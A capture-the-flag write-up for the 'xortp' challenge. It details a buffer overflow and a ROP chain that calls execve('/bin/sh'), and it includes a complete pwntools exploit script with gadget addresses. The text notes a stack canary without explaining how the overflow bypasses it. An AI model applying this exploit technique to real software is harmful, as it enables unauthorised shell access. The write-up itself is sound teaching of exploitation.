Writeup: xortp#
Challenge Overview#
This challenge involves exploiting a buffer overflow vulnerability in the “xortp” binary to gain a shell and read the flag. The exploit leverages Return-Oriented Programming (ROP) to bypass modern security protections.
Binary Analysis#
The binary has the following protections:
- Architecture: amd64-64-little
- RELRO: Partial RELRO
- Stack: Canary found
- NX: NX enabled (No execution on stack)
- PIE: No PIE (fixed base address at 0x400000)
- Not stripped
The key vulnerability appears to be a buffer overflow that allows overwriting the return address despite stack canaries being enabled.
Vulnerability and Exploitation#
The vulnerability is a classic buffer overflow where we can overwrite the return address. Since NX is enabled, we cannot directly execute shellcode on the stack. Instead, we use ROP to chain together existing code fragments (gadgets) to execute a system call.
Exploitation Strategy#
- Overflow the buffer to control the instruction pointer
- Build a ROP chain to execute
execve("/bin/sh", 0, 0)
syscall - Get a shell and read the flag
🔧 Syscall Calling Convention Reference#
Architecture | Syscall Number Reg | Argument 1 | Argument 2 | Argument 3 | Argument 4 | Argument 5 | Argument 6 | Return Value | Instruction |
---|---|---|---|---|---|---|---|---|---|
x86 (32-bit) | eax | ebx | ecx | edx | esi | edi | ebp | eax | int 0x80 |
x86_64 | rax | rdi | rsi | rdx | r10 | r8 | r9 | rax | syscall |
ARM (32-bit) | r7 | r0 | r1 | r2 | r3 | r4 | r5 | r0 | svc 0 |
ARM64 | x8 | x0 | x1 | x2 | x3 | x4 | x5 | x0 | svc 0 |
This table is especially useful in ROP-based attacks where we construct a syscall manually by populating the appropriate registers using gadgets.
ROP Chain Details#
Our goal is to execute the execve
syscall (syscall number 59) with the following arguments:
rdi
= pointer to “/bin/sh” string (first argument)rsi
= 0 (second argument - argv, set to NULL)rdx
= 0 (third argument - envp, set to NULL)rax
= 59 (syscall number for execve)
We use the following ROP gadgets:
pop_rdi = 0x0000000000401f60 # Control first argument
pop_rsi = 0x000000000040f972 # Control second argument
pop_rax_rdx_rbx = 0x00000000004867a6 # Control syscall number and third argument
syscall_gadget = 0x00000000004011a2 # Execute the syscall
The string “/bin/sh” was found at address 0x00498213 in the binary.
Buffer Size#
The required padding before reaching the return address is 152 bytes.
Exploit Implementation#
The exploit script uses pwntools to construct and send the payload:
#!/usr/bin/env python3
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF('xortp')
# ROP gadgets
pop_rax = 0x00000000004424f7
pop_rsi = 0x000000000040f972
pop_rdi = 0x0000000000401f60
pop_rax_rdx_rbx = 0x00000000004867a6
syscall_gadget = 0x00000000004011a2
addr_bin_sh = 0x00498213
# Connect to the process
io = process('./xortp') # or remote("host", port)
# Syscall parameters for execve("/bin/sh", 0, 0)
path = addr_bin_sh # First argument: path to binary
argv = 0 # Second argument: argument array (NULL)
envp = 0 # Third argument: environment variables (NULL)
syscall_num = 59 # Syscall number for execve
BUFFER = 152 # Size of buffer before return address
# Construct the payload
payload = flat(
b'A'*BUFFER, # Padding to reach return address
p64(pop_rdi), # Pop path into RDI (first argument)
p64(path), # Address of "/bin/sh" string
p64(pop_rsi), # Pop 0 into RSI (second argument)
p64(argv), # NULL for argv
p64(pop_rax_rdx_rbx), # Pop syscall number into RAX and third argument into RDX
p64(syscall_num), # Syscall number for execve (59)
p64(envp), # NULL for envp (third argument)
p64(0), # Dummy value for RBX
p64(syscall_gadget) # Execute the syscall
)
# Send the payload
io.sendline(payload)
io.sendline("id && cat flag.txt") # Run commands in the obtained shell
io.interactive()
Execution Flow#
- We send a payload that fills the buffer with 152 ‘A’s to reach the return address
- The ROP chain is executed:
pop_rdi
gadget pops the address of “/bin/sh” into RDIpop_rsi
gadget pops 0 into RSIpop_rax_rdx_rbx
gadget pops 59 into RAX (syscall number), 0 into RDX, and a dummy value into RBXsyscall_gadget
executes the syscall, which runs execve("/bin/sh", 0, 0)
- We now have a shell and can read the flag with
cat flag.txt
Flag#
After gaining the shell, we can read the flag with cat flag.txt
command.
Conclusion#
This challenge demonstrates a classic ROP-based exploitation technique to bypass NX protection. By chaining together existing code gadgets, we can execute arbitrary system calls without injecting executable code onto the stack.